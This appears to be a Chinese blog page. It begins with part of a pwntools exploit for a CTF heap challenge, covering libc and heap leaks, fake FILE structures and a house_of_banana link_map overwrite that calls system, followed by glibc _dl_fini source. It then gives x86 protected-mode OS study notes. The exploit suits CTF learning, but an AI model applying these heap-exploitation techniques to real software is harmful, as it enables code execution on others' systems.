return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0)*4 + p64(heap_base + 0x100) + p64(0) + p64(0) + p64(0) * (28-7)
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*14
return (fake_IO_FILE, pad, payload)

prefix = "6. Delete canvas"

def show(index):
sla(prefix, b'4')
sla("Enter idx: ", str(index))

def add(index, width, height):
sla(prefix, b'1')
sla("Enter idx: ", str(index))
sla("Enter canvas width (1-255): ", str(width))
sla("Enter canvas height (1-255): ", str(height))

def delete(index):
sla(prefix, b'6')
sla("Enter idx: ", str(index))

def edit(index, payload):
sla(prefix, b'3')
sla("Enter idx: ", str(index))
sa("Enter your picture (`width` chars in `height` lines): ", payload)

def rate(index, rate, comment, payload):
sla(prefix, b'5')
sla("Enter idx: ", str(index))
sla("Enter rate: ", str(rate))
sla("Leave comment (y/n): ", comment)
sa("Enter your comment: ", payload)

def resize(index, width, height):
sla(prefix, b'2')
sla("Enter idx: ", str(index))
sla("Enter new width (1-255): ", str(width))
sla("Enter new height (1-255): ", str(height))

def exit():
sla(prefix, b'666')

"""leak libc"""
show(-2)

leak_dat = leak()
log(hex(leak_dat))

libc_base = leak_dat - (0x7f510501ba80 - 0x7f5104e00000)
log(hex(libc_base))

"""leak heap"""
add(0, 0x10, 2)
rate(0, 1, 'y', b'a'*0x20)
rate(0, 1, 'y', b'b'*0x30)
delete(0)
add(0, 0x10, 2)
show(0)

ru("Picture: \n")
heap_base = u64(r(5).ljust(8, b'\x00')) # L >> 12 补回去刚好是heap_base
heap_base = heap_base << 12
log(hex(heap_base << 12))

"""house_of_banana"""
_rtld_global = libc_base + (0x7ffff7ffd040 - 0x7ffff7c00000)

log(hex(_rtld_global))

fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6

def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)

fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)

add(3, 0xf0, 1)
resize(3, 0xf0, 5)
fake_content = fake_content.ljust(0xf0 * 5, b'\x00')

# edit(3, fake_content)
sla(prefix, b'3')
sla("Enter idx: ", str(3))
for i in range(5):
sl(fake_content[0xf0*i:0xf0*(i+1)])

rate(-8, 1, 'y', p64(0xffffffffffff01ff) + p64(_rtld_global))
edit(-5, p64(fake_addr + 0x10))

bpp()
exit()

"""past"""

ia()

附录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */

/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;

/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;

/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;

/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
.................................................................................
};

dl_fini源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
/* Call the termination functions of loaded shared objects.
Copyright (C) 1995-2022 Free Software Foundation, Inc.
This file is part of the GNU C Library.

The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.

The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<https://www.gnu.org/licenses/>. */

#include <assert.h>
#include <string.h>
#include <ldsodefs.h>
#include <elf-initfini.h>

/* Type of the constructor functions. */
typedef void (*fini_t) (void);

void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.

To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */

/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
#ifdef SHARED
_dl_audit_activity_nsid (ns, LA_ACT_DELETE);
#endif

/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

/* Now we have to do the sorting. We can skip looking for the
binary itself which is at the front of the search list for
the main namespace. */
_dl_sort_maps (maps, nmaps, (ns == LM_ID_BASE), true);

/* We do not rely on the linked list of loaded object anymore
from this point on. We have our own list here (maps). The
various members of this list cannot vanish since the open
count is too high and will be decremented in this loop. So
we release the lock so that some code which might be called
from a destructor can directly or indirectly access the
lock. */
__rtld_lock_unlock_recursive (GL(dl_load_lock));

/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
_dl_audit_objclose (l);
#endif
}

/* Correct the previous increment. */
--l->l_direct_opencount;
}

#ifdef SHARED
_dl_audit_activity_nsid (ns, LA_ACT_CONSISTENT);
#endif
}
}

#ifdef SHARED
if (! do_audit && GLRO(dl_naudit) > 0)
{
do_audit = 1;
goto again;
}

if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS))
_dl_debug_printf ("\nruntime linker statistics:\n"
" final number of relocations: %lu\n"
"final number of relocations from cache: %lu\n",
GL(dl_num_relocations),
GL(dl_num_cache_relocations));
#endif
}

rtld_global结构体

os读书笔记1

系统架构概况

Untitled

全局描述符表和局部描述符表(GDT和LDT)


这两个表有什么用

进入了保护模式之后,代码段、数据段、堆栈段等内存段不再是通过段寄存器获得段基址即可使用,操作系统把段定义好,记录在全局描述符表。

而局部描述符表则是局部的,它和全局描述符表相比,就相当于一个是一级描述符表(GDT)、一个是二级描述符表(LDT)

表里面存的是什么

描述符表里面保存的都是段描述符,段描述符记录了各个段的信息。如图所示:

Untitled

其中各个标志位都记录着关于段的不同信息

如何找到GDT和LDT里面的内容

有了段描述符之后,我们就可以定义各种内存段,并保存到GDT和LDT中,此时CPU通过GDTR和LDTR分别查找GDT和LDT表。

GDTR寄存器数据格式如下:

Untitled

因此GDT中可以容纳段描述符为8192个

这GDTR寄存器初始化需要用到lgdt

定位到某个段描述符,需要用到段选择子

保护模式下段寄存器存入的是段选择子

Untitled

如此一来,即可找到指定的段,CPU即可从段描述符中取出段基址,再加上段内偏,形成了-段基址:段内偏移地址-的内存访问形式

门描述符


操作系统定义了一套名为门的描述符—调用门、中断门、陷阱门和任务门,门这种描述符提供了一种访问运行在不同于应用程序特权级的系统过程和处理程序的方法。也就是程序/进程/内核之间的交互。

当访问和当前代码段特权相同或特权更高的代码段的时候,通过调用门访问,由调用程序来提供调用门的选择符。

任务状态段和任务门

TSS(如图 1)定义了任务执行环境的状态。这些状态包括通用寄存器、段寄存器、EFLAGS寄存器、EIP 寄存器和段选择符以及三个堆 栈段(特权 0、1、2 各一个堆栈)的指针的状态。它也包括了与任务相应的 LDT 的选择符和页表的基地址。所有运行在保护模式下程序,都是一个称作当前任务的上下文中进行的。当前任务的 TSS的段选择符保存在任务寄存器中。切换到一个任务的最简单的方法是进行 CALL 或 JMP 到那个任务中。新任务的 TSS 的段选择符是通过 CALL 或 JMP 指令给出。在进行任务切换 时,处理器按照下面的次序进行:

  1. 保存当前 TSS 中当前任务的状态。

  2. 装载新任务段选择符的任务寄存器。

  3. 通过 GDT 中段选择符访问新的 TSS。

  4. 将新 TSS 中新任务的状态装载到通用寄存器、段寄存器、LDTR、控制寄存器 CR3(页表基地址)、EFLAGS 寄存器和 EIP 寄存器。

  5. 开始执行新任务。

任务也可以通过任务门访,任务门与调用门很相似,除了它是提供(通过选择符)对 TSS 而不是对代码段的访问。

中断与异常处理

外部中断、软件中断和异常是通过中断描述符表(IDT)处理的,

和GDT表类似,在运行中断或异常处理程序的时候,处理器需要先从内部硬件、外部中断控制器、或通过执行INT、INTO、INT 3或BOUND指令的软件中断中接收到一个中断向量。

中断向量内有IDT中的门描述符的索引。

通过IDT表,程序可以执行完中断/异常之后正常返回,切换任务执行。

内存管理

主要有两种形式

  • 直接物理地址

  • 虚拟内存(通过分页)

使用分页的方式的时候,所有的代码、堆栈、系统段等段都可以将最近访问过页驻留在内存中而进行分页。

页的相关信息保存在两个类型的系统数据结构中:页目录和页表

线性地址则会被分为三个部分:页目录、页表、页框中的偏移量。

一个系统可以有一个或者多个页目录。

系统寄存器

主要分为以下几种

  • EFLAGES寄存器

  • 控制寄存器

  • 调试寄存器

  • GDTR、LDTR和LDTR寄存器

  • 任务寄存器

  • 模式相关的寄存器

运行模式

主要有四种

  • 保护模式—保护模式是处理器的原生模式,在该模式下,拥有处理器的所有特点和指令,具有最好的性能。对所有新应用程序和操作系统推荐使用该模式

  • 实模式—这个模式提供了intel8086的变成模式和一些扩展→比如切换到保护模式或系统管理模式

  • 系统管理模式(SSM)—这种模式为操作系统实现电源和OEM专有特征提供了一种透明的机制。SSM模式是通过激活外部系统中断针(SMI#)而进入的,激活产生了一个系统中断(SMI)。在SMM中处理器先保存好当前运行的程序和任务上下文,然后切换到一个单独的地址空间,从SMM返回后处理器再返回SMI之前的状态。

  • 虚拟8086模式—在保护模式中,处理器提供了一种准模式叫作虚拟8086模式。这种模式允许在多任务的保护模式下处理执行8086程序。

下图为处理器运行模式之间的转换

Untitled

EFLAGES寄存器中的系统标志和域

Untitled

EFLAGES中的系统标志和IOPL域用于控制I/O、可屏蔽硬件中断、调试、任务切换和虚拟8086模式。只有特权代码(通常是操作系统代码)可以修改这些位。

  • TF: 陷阱(第8位)置1是调试状态下的单步执行,置0是禁用单步执行。在单步执行模式下处理器在每条指令后产生一个调试异常,这样在每条指令执行后都可以查看执行程序的状态。如果程序用POPF、POPFD或者IRET指令修改TF标志,那么调试异常就在执行POPF、POPFD或者IRET指令后产生。

  • IF: 中断允许(位9)控制着处理器对可屏蔽硬件中断请求的响应。置1是响应可屏蔽硬件中断,置0为禁止响应可屏蔽硬件中断,IF标志并不影响异常和不可屏蔽中断(NMI)的产生。控制寄存器CR4中的CPL、IOPL和VME标志决定着IF标志是可否可以由指令CLI、STTI、POPF、POPFD和IRET修改。

  • IOPL: I/O特权域(位12和位13)指出当前程序或任务的I/O特权级别。当前程序或任务的CPL必须小于或等于IOPL才可以访问I/O地址空间。当运行在0级特权时,该域只能由的POPF和IRET指令修改。

  • NT: 嵌套任务(位14)控制被中断和被调用的任务的链接。处理器在调用一个由CALL指令、中断或者异常触发的任务时设置该位。当任务因调用IRET指令而返回时,处理器检测并修改该位。该标志可以由POPF/POPFD指令直接置位或清零,然而在应用程序中修改该标志的状态会产生不可预料的异常。

  • RF: 恢复(位16)控制着处理器对断点指令条件的响应。当置1时,该标志可以临时禁用由于指令断点而产生调试异常(#DE),但是其它的异常条件仍可以产生异常。置0时指令断点产生调试异常。RF标志的主要功能是重新执行由指令断点而引发的调试异常后面的指令。

  • VM: 虚拟8086模式(位17)置1进入虚拟8086模式,置0返回保护模式。

  • AC: 对齐检查将该位置1的同时,将控制寄存器中CR0中的AM标志置1就启用了对内存引用的对齐检查。将AC标志和/或AM标志清零就禁用了对齐检查。对齐检查异常只在用户模式(3级特权)下产生。默认特权为0的内存引用,比如段描述表的装载,并不产生这个异常。

  • VIF: 虚拟中断(位 19)包含了一个 IF 标志的虚拟映象。这个标志是和 VIP 标志一起使用的。当控制寄存器 CR4 中的 VME 或者 PVI 标志置为 1 且 IOPL 小于 3 时,处理器只识别 VIF 标志(VME 标志用来启用虚拟 8086 模式扩展,PVI 标志启用保护模式下的虚拟中断)。

  • VIP: 虚拟中断等待(位20)由软件置1表明有一个中断是正在等待被处理,置0表明没有等待处理的中断,该标志和VIF一起使用。处理器读取该标志但从来不修改它,当VME标志或者控制寄存器CR4中的PVI标志置1且IOPL小于3时,处理器只识别VIP标志。

  • ID: 识别(位21)软件置1或0表明是否支持CPUID指令。

内存管理寄存器

处理器中与内存管理有关的寄存器共有四个—GDTR、LDTR、IDTR和TR

Untitled

全局描述符表寄存器(GDTR)

GDTR寄存器用于保存GDT的32位基地址和16位表界限。基地址指的是GDT的第一个字节的线性地址,而表界限表示GDT中的字节数。LGDT和SGDT指令分别用于加载和保存GDTR寄存器的值。在处理器上电或复位时,基地址默认为0,表界限默认为FFFFH。在进行保护模式的操作时,作为处理器初始化的一部分,需要将新的基地址加载到GDTR中。

局部描述符表寄存器(LDTR)

LDTR寄存器存储了16位的段选择符、32位的基地址、16位的段界限以及LDT描述符的属性。基地址指的是LDT段中第一个字节的线性地址,而段界限表示段中的字节个数。LLDT和SLDT指令专用于加载和保存LDTR寄存器中的段选择符部分。任何包含LDT的段必须在GDT中有一个段描述符。当执行LLDT指令来加载LDTR中的段选择符时,LDT描述符的基地址、界限和属性将自动加载到LDTR中。在进行任务切换时,LDTR会自动加载新任务的段选择符和描述符。在将新的LDT信息写入寄存器之前,LDTR的内容不会自动保存。在处理器上电或复位时,段选择符和基地址都被设为默认值0,段界限被设置为FFFFH。

IDTR中断描述符表寄存器

IDTR寄存器用于保存IDT的32位基地址和16位表界限。基地址指的是IDT中第一个字节的线性地址,而表界限表示IDT中的字节个数。LIDT和SIDT指令专门用于加载和保存IDTR寄存器的值。在处理器上电或复位时,基地址默认为0,表界限默认为FFFFH。作为处理器初始化的一部分,可以修改寄存器中的基地址和表界限。

任务寄存器(TR)

任务寄存器保存着16位的段选择符、32位的基地址、16位的段界限以及当前任务的TSS描述符属性。它引用GDT中的TSS描述符。基地址指示TSS中第一个字节的线性地址,段界限指示TSS中的字节数量。LTR和STR指令专门用于加载和保存任务寄存器中的段选择符部分。当使用LTR指令加载任务寄存器中的段选择符时,基地址、界限和TSS描述符会自动加载到任务寄存器中。处理器上电或复位后,基地址被设置为默认值0,界限被设置为FFFFH。在进行任务切换时,任务寄存器会自动加载新任务的段选择符和TSS描述符。在向任务寄存器写入新内容之前,任务寄存器的内容不会自动保存。

控制寄存器

控制寄存器主要有五个

  • CR0—包含系统控制标志,这些标志控制着处理器的运行模式和状态

  • CR1—保留

  • CR2—包含缺页的线性地址(引起缺页的线性地址)

  • CR3—包含了页目录的基地址和二个标志(PCD和PWT)。该寄存器也被称为页目录基地址寄存器(PDBR)。页目录基地址只有高20位确定,低12位是0,所以页目录地址必须是页边界对齐的(4K字节)。PCD和PWT标志控制着页目录在处理器内部数据缓冲区的缓存(它们不控制TLB页目录信息的缓存)。

  • CR4—包含了一组标志,这些标志启用了架构方面的几个扩展,并指明了系统对某些处理器支持的能力。这个寄存器可以通过MOV指令方式进行读取或修改。在保护模式下MOV指令允许读取或者装载控制寄存器(在0级特权下)。这个限制意味着应用程序或者操作系统过程(运行在1、2、3级特权下)不能读取或者装载控制寄存器。装在控制寄存器时,保留位应该保持以前读取的值。

Untitled

CPUID识别控制寄存器标志

控制寄存器CR4中的VME、PVI、TSD、DE、PSE、PAE、MCE、PGE、PCE、OSFXSR和OSXMMEXCPT都是与模式相关的。所有的这些标志(除了PCE标志)在使用之前都可以通过CPUID指令来检查他们处理器是否已经实现。

系统指令总汇

指令 指令描述 对应用程序是否有用 应用程序能否执行
LLDT 装载LDT寄存器
SLDT 保存LDT寄存器
LGDT 装载GDT寄存器
SGDT 保存GDT寄存器
LTR 装载任务寄存器
STR 保存任务寄存器
LIDT 装载IDT寄存器
SIDT 保存IDT寄存器
MOV CRn 装载和保存控制寄存器
SMSW 保存MSW
LMSW 装载MSW
CLTS 清空CR0中的TS标志
ARPL 调整RPL
LAR 装载访问特权
LSL 装载段界限
VERR 检验读
VERW 检验写
MOV DBn 装载和保存调试控制器
INVD 使Cache无效,不回写
WBINVD 使Cache无效,回写
INVLPG 使TLB项无效
HLT 停机
LOCK(前缀) 总线锁
RSM 从系统管理模式返回
RDMSR3 读与模式相关寄存器
WRMSR3 写与模式相关寄存器
RDPMC4 读性能监测计数器
RDTSC3 读时间戳计数器

tips:

1.对CPL是1或2的应用程序有用
2.由CPL是3的应用程序通过控制寄存器CR4中的TSD和PCE标志访问这些指令
3.这些指令是在IA-32架构中的Pentium处理器引入的
4.这个指令是在IA-32架构中的Pentium Pro 处理器和Pentium® MMX™ 处理器中引入的。

装载和保存系统寄存器

os读书笔记2

保护模式内存管理

2.1. 内存管理概览

Untitled

有三种地址

  • 逻辑地址

  • 线性地址

  • 物理地址

逻辑地址由一个16位的段选择符和一个32位的偏移量offset组成,对CPU来说每一个操作都是由逻辑地址来协助完成的。

通过段选择符,找到目标段,再加上偏移量找到线性地址,线性地址即程序运行时候的虚拟地址。

Untitled

线性地址的一些标志位会记录这些页的权限。

最后线性地址分为三部分Dir、Table、Offset三个部分分别用于查找Page Directionary、Page Table,最后结合offset可以找到具体的物理地址。

通过三个地址,实现了由CPU到物理地址的访问流程,中间经历了许多表,这些操作都是为了扩大访问范围,以少量的总线访问大量的存储空间。

2.2.分段机制

Basic Flat Model

这个模型是最直白的模型,也就是没有经历我们上述的分段、分页的转换等流程,CPU直接访问的就是物理内存,一对一映射。

Untitled

在这个模型中我们仍需要建立至少两个段描述符,代码段和数据段,并且两个段都要映射进内存空间。

Protected Flat Model

这个模型下,段长被限制在一定范围内,不允许出现越界访问等问题。

Untitled

它将代码段/数据段/堆栈段等写在特定的地方,不允许例如代码段的段描述符访问到数据段这种情况,对内存进行了隔离和保护,是一种内存管理和保护的理论模型,通过划分地址空间为多个区域并设置不同的访问权限,实现进程间的内存隔离和保护。

但是不同程序之间能够相互访问数据,不存在互锁的情况。

Multi-Segment Model

Untitled

这个模型下,充分利用了分段机制,提供了对代码、数据、堆栈的一种更高级的保护,每个进程都拥有独自分配到的段,也可以与别的进程共享这些段。防止了不同程序之间越界访问。

2.3. 逻辑地址和线性地址的转换

段选择子结构

Untitled

段选择子长度为16bits,其低位3bits是标志位

RPL标志位占2bits,表示请求段的特权级

这里的特权级就是Ring0-Ring3,也就是内核态特权和用户态特权,越权访问会被禁止

TI标志位表示要给到的表是GDT还是LDT

Index是表中的下标,可以访问8192个,但是GDT的第0位是置空的,所以在GDT只能访问8191个段描述符。

段寄存器

处理器提供了6个段寄存器,代码寄存器(CS),数据段寄存器(DS),堆栈段寄存器(SS),以及另外三个数据段寄存器(ES、FS和GS)给进程使用。

Untitled

每个段寄存器都由两部分组成,一部分是程序员可见,另外一部分是不可见的。

不可见部分包括了段基址、段限长和访问权限。

载入段寄存器一般有两种指令:

  1. 直接载入指令,如:MOV,POP,LDS,LES,LSS,LGS和LFS,这些指令明确指定了相应的寄存器。

  2. 隐含的载入指令,比如CALL,JMP,RET等指令,伴随着这些指令,改变了CS寄存器的内容,有时候也会改变别的寄存器的内容。

段描述子

Untitled

结构如图。

段基址

指向段在内存中的起始地址。处理器会将三个基地址组合在一起构成一个32位的地址。

类型域

指明段/门的类型,会设定访问权限、或者门/段的各种特点。

S(描述符类型)标志

确定段描述符是系统描述符(S标记为0)或者代码、数据段描述符(S标记为1)

DPL(描述符特权级)域

指明该段的特权级。特权级从0~3,0为最高特权级。

P(段存在)标志

标志指出该段当前是否在内存中(1表示在内存中,0表示不在)。当指向该段描述符的段选择符装载人段寄存器时,如果这个标志为0,处理器会产生一个段不存在异常(NP)。

D/B(默认操作数大小/默认栈指针大小和/或上限)标志

根据这个段描述符所指的是一个可执行代码段,一个向下扩展的数据段还是一个堆栈段,这个标志完成不同的功能。(对32位的代码和数据段,这个标志总是被置为1,而
16位的代码和数据段,这个标志总是被置为0)

G(粒度)标志

确定段限长扩展的增量。当G标志为0,段限长以字节为单位;G标志为1,段限长以4KB
为单位。(这个标志不影响段基址的粒度,段基址的粒度永远是字节)如果G标志为1,那么当检测偏移量是否超越段限长时,不用测试偏移量的低12位。

将逻辑地址转换成线性地址的,处理器:

  1. 分段:处理器通过段选择子和段描述符将逻辑地址中的段部分与段基址相对应起来。段基址表示段的起始地址,段选择子包含了段的索引和特权级等信息。

  2. 分页:在分段的基础上,处理器使用页表将逻辑地址中的页部分转换成物理地址的页表项索引,并获取对应的页表项。

  3. 偏移计算:根据逻辑地址中的段内偏移部分和获取的页表项中的页框基址,通过加法运算得出线性地址的偏移部分。

  4. 线性地址生成:将分段的段基址与偏移计算得到的线性地址偏移部分相加,即可得到线性地址。

2.4. 描述符的分类

代码段/数据段描述符

Untitled

当段描述符中的S标志(描述符类型)为1时,该描述符为代码段描述符或者数据段描述符。类型域的最高位(段描述符的第二个双字的第11位)将决定该描述符为数据段描述符(为0)或者代码段描述符(为1)。对于数据段而言,描述符的类型域的低3位(位8,9,10)被解释为访问控制(A),是否可写(W),扩展方向(E)。参考表3-1对代码和数据段描述符类型域的解码描述。数据段可以是只读或者可读写的段,这取决与“是否可写”标志。

系统描述符:

系统描述符分为:

  • 局部描述符表(LDT)段描述符

